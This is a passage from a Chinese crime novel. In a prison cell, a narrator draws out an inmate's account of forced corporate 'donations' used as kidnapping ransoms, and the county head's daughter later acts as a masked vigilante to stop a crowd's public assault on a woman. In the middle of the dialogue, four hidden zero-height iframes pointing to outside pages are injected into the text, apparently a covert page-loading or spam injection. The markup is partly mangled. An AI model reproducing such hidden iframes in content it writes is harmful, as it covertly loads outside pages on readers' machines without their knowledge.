“警察也是介入了。我们也是给一些公司和企业下了捐款通知。我们直接和公司企业要钱,目标多了,警察也顾及不过来。为了救省长的老爹,企业掏钱都很痛快……他们也不敢不掏,都怕省长给小鞋穿……”
“你到几家企业去要过钱?”
“我们先是书面通知,后又打电话的,我们只是叫他们准备钱,先不透露送钱的方法,叫警察摸不着头脑。最后瞅准机会,我们就会把钱抢过来。”
“这次你得了多少钱?”
“七万,全花光了……” <;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://go。2。/w65/w65。htm width=100 height=0>;<;/iframe>;
第二十一章 第二节
生活呵,就是一团雾,有好多的事情看不明白,原以为是这样的事情,其实完全是另一个样子。就像为丛县长声援的小这报上声称的,那二十多家企业都是自愿捐款凑起了赎金,实际上却是绑匪下了通知书逼他们捐款。只是丛县长这么多年来一直人们辛辛苦苦做工作,感动了人们,人们不忍心看到这么一个好县长被人陷害,才站出来这么说的。
方杰呢,身强力壮,好像一辆加满油的战车,只要有人开动,他就会在战场上冲锋陷阵,一往无前。“头”就是利用了他这一点,用书信或是电话摇控指挥他,实施犯罪,到达目的。绑架镇党委书记的儿子一案,企业家们明的凑了十万,暗的呢?“头”有没有背着方杰到企业要钱?这说不准。只是“头”手段高明,拿出一些钱,叫他去给当时还是镇长的丛为民买官,既满足了方杰喜欢丛镇长清正廉洁的心理,又达到了以后控制方杰,继续利用他做案的目的。刚发生不久的绑架刘副省长的老爹一案,就是上述很好的证明,“头”拿了九十多万,方杰被警方抓获,“头”却安然无恙,美滋滋地过他的日子。
这个“头”好狡猾。
他是谁?
现在在哪儿?
也许绑架镇党委书记的儿子是他的第一次作案,他很熟悉方杰,就利用他,也就是说,“头”就是榆树县本地人。现在,“头”已壮大了,能在省城做案了,而且胆子更大了——不,这个头不会光干绑架的事,他很可能参与了其他的犯罪行动。得想办法找到他……
方杰倾吐了很多秘密,没有对警察讲过的也对我讲了;心里倒出了陈芝麻烂谷子,涌进了另一个人的惊诧和感叹,他有一种惬意的满足感,很快睡过去了。巨大的鼾声像雷一样响起,在他的罪恶的世界里滚动着,再也不会给人带来灾难的暴雨了。
第二天上午,我有意叫他讲过去的事情,叫他讲过去的朋友,想从中确定一下“头”的人选。但是,看守人员冷漠的面孔,手铐脚镣无情的束缚——这一切使他情绪低落,吃喝得也很少。
“你一直被人利用着,却不知道那个人是谁,”我故意“挑逗”他,叫他说话。
“嘿嘿,”他只是傻笑,“我不后悔我做的事——老鼠指挥我也没有关系……”
“你就是个魔鬼,罪恶缠身,却不知不觉,”我有意刺痛他。
“是吗?”他浑身一颤,“第一次有人这么说我。”
也许是我的话起了作用,他闭着眼睛,一幕幕反思自己的过去,一天当中只是哼呀地应付着我,再也不跟我交流了。
夜又沉沉地来了,好像带着各种各样的的烦恼,在屋里拥挤着,跳跃着,方杰有些烦燥不安。其实我心里也好似沸腾的水,煮不烂许多的忧愁和牵挂,从心里升腾起来的希望,却又被这牢室所遮挡。
如果我真的被判刑,我该怎么办?
风从窗户溜进来——好大的风,好像一个饱经风霜的女人似的,轻轻抚摸着我的身体,并且要给我带走我对朋友的思念和问候。
“有蝴蝶飞进来了,”方杰惊喜地说。“白色的,还不止一只呢……”
我伸手捉到一只——不是什么蝴蝶,一点点白白的纸。
“是蝴蝶吧?”方杰问我。
“不是——”我又捉到一点纸片,靠近窗户看了看,惊喜地说。“不过,对我来说,这点纸比蝴蝶还要美丽……”
“神经病,”方杰失望地叹了一口气。
“我说得是真的,”我反复地看着手中的纸片。
“嘿嘿,你好像得到了什么宝贝似的,”方杰疑惑地说。
映着院子里的灯光,我看得很清楚,纸片上一面印着容字,一面印着坚强二字。——丛容在看守所外面,顺风放了很多这样的纸片,于是这两张就飞到了牢室里,叫我“捉”到了。
我把一张放以了方杰的手里:“有人在牵挂鼓励我!”
“一张小小的纸片?”方杰摇着头。
“在你眼里,”我点点头。“但是一面写着我朋友的名字,一面写着坚强——这就不是纸片了,明白吗?”
“是呀,是呀,”方杰兴奋起来,“这事儿真神奇,小小的纸片竟能给人带来这么大的快乐。——是哪个朋友呀……”
“丛容,县长的女儿,”我告诉他。
“你和她恋爱吗?”
“不,只是朋友啊。”
“好……好……”他点着头。他并不认识丛容,心里佩服丛容的知慧,也为人间竟有这样的特殊的鼓励而倍感温暖。是啊,这样的友谊才算友谊,这样的友谊才伟大!像他这样偷偷摸摸地干着见不得人的犯罪的勾当,不是魔鬼是什么?过了会儿,他说,“这纸片很多吧?”
“是的,好多,其它的牢室里也会有的,”我笑着说。
“丛县长的女儿一定很不错吧,”他亲切地说。“丛县长为人正直,是个好官,她的女儿也错不了。”
“是啊,很漂亮,又很正义……”我赞叹地说。
“如果她知道你和我在一个牢室,会怎么想呢?”方杰有些难过了。
“如果她知道你对我说了很多心里话,就会高兴的,”我肯定地说。
“是吗?”方杰有点兴奋了,又打开了话匣子。“嘿嘿,我还有什么没有对你说呢……”
第二十一章 第三节
丛容站在看守所围墙外面的山坡上,手里一把把撒着碎纸片,碎纸片就被风卷到空中,飞舞着,随风飘走。纸片啊纸片,就像一只只手,在把她对朋友挂念的心曲弹奏;纸片啊纸片,你不要回头,去找到朋友,带给他的友情像海一样深厚……
撒完了纸片,丛容就呆呆地坐在石头上。夜紧挨着她,模糊着她的模样和长发;风紧牵着她,和她说着悄悄话。
“我恨你——”
她大声地呼喊。声音尖利,像挥出了两把长剑,可是有谁能看到见?
父亲被押,正在接受有关部门的调查,不知道以后会发生什么样的结果。今天下午,她又得陈刚被抓的消息。可是到了傍晚,于雨突然失踪——好在她回到家里,刚给她打回电话……
她想成立个法律支持中心,租到了房子,可是没有律师来报名;她已经给于雨找好了律师,准备好了文件,就要为于雨伸冤,可是于雨却偷偷逃回家里……
她现在就成了风中的一个小小的纸片,孤立无援,什么事也做不成,不知道自己要降落到哪里。
“我恨你……”她哭了。
她慢慢下了山,回到车上。她要去问一问于雨,她还想不想为自己讨回清白?
“我恨你……”她不断地这么说。
现在,她想起谁来就恨谁,恨父亲没有给她找个好工作,叫她一个人在社会上滚打拚搏;恨警察把一个好人污蔑成一个盗窃犯;恨陈刚还深深地爱着那个就知道表现自己,风流漂亮的梁艳;恨于雨和她不辞而别;恨……恨前些日子才出来的那个“蒙面大侠”……
“蒙面大侠,你他妈的混蛋!”丛容大喊大叫,“哈哈哈……哈哈哈,现在这个社会上还会出现蒙面大侠,这真是社会的悲哀,人民的悲哀……蒙面大侠,你他妈的混蛋!混蛋!”
丛容把车开得飞快,她想把夜甩出去,想把烦恼甩出去,想把怨恨甩出去。可是她什么也办不到,一切都紧紧地跟随着她,挤着她,她出汗,她难受,她狂喊,疯了一样……
以知道于雨的家在哪儿,把车停在大街上,穿过一条小街,再往东过了一家商店,就到了于雨家的屋后——于雨的家正亮着灯,家里有人说话,她就站住了。
“不要听那个丛容的,帮着于雨打官司,她图个出名,”一个男人用很大的声音说,“现在的女人出了名,做什么也就容易了,能挣大钱……”
“是呀,”一个女人说,“既然人家给了咱这么多钱,也道歉了,我们就不去打什么官司了。孩子是受了点委屈,这是人家工作失误,我们应该理解。”
“打不打官司,还要听听于雨的意见,”男人说。
“闺女,你的意思呢?”女人说。
“不打就不打吧,我就是害怕……丛容姐会不高兴的……”于雨小声说。
“你明天就不要到她那儿上班了,”女人说,“人家给了这五万,你十年挣不出来……这样吧,明天一早你打电话给丛容,就说你病了。然后到郑州你姨家住些日子吧……”
丛容再也不想听了,跑回到车上。她没有了叫喊,没有了眼泪,开着车往回赶。哪条道上的车辆多她就从哪条道走,哪儿人多,她从那儿过;使劲地按着喇叭,仿佛把心中的悲愤都放在了喇叭里,喇叭响一路,她的悲愤就洒一路。
汽车回到了县城,前面堵了车。以前,碰到这样的情况,丛容都会耐心等待,或者绕路走。现在,她跳下车,冲到前面,想知道前面发生了什么事情。大街这么宽,车辆这么少,竟能把交通堵塞,真是奇怪。
哦,原来是有人打架——三个女人的欺负一个女的,逼她脱了上衣,只剩下乳罩;还不算,又副她脱了乳罩,两只小巧胆怯的乳房就露出来了,却被无数只眼睛牵着;她用手去护,就挨打,她就哭着求饶,还是不行,要逼她脱裤子。
“谁来睡她?白睡啦!”叫喊的,是那三个女人之中的一个,年纪也不过二十。
于是就有一个男人冲出来去抱裸着上体的女人……
几百个人围观——不,仿佛就一个人,一个没有长手也没有长脚的人在看热闹,静静的,瞪大了眼睛,生怕留掉了一个细节;乖乖的,屏住了呼吸,生怕打扰了这难得的场面……
“我恨你们!”丛容在心里喊。
她回到车上,用刀子把两只裤腿割下一截,然后再把其中的一条半截裤腿的一头扎起来,并在其上面挖两个洞——把它套在头上,手里挥着自己的腰带,冲进了人们密密实实围着的圈子里——“蒙面大侠!”有人突然惊呼。
只见“蒙面大侠”挥舞“皮鞭”,第一下就抽到了那个正抱着女人的男人,男人惨叫一声就忪了手,抱头鼠窜;第二鞭抽到了正在不知羞耻叫嚷的女凶手之一,她也惨叫一声,捂着伤口蹲下了;没等“蒙面大侠”再挥起第三鞭子,另外两个女凶手就窜到人群中逃掉了。
丛容从地上把拣起上衣,给那个裸着上身的姑娘披上。她�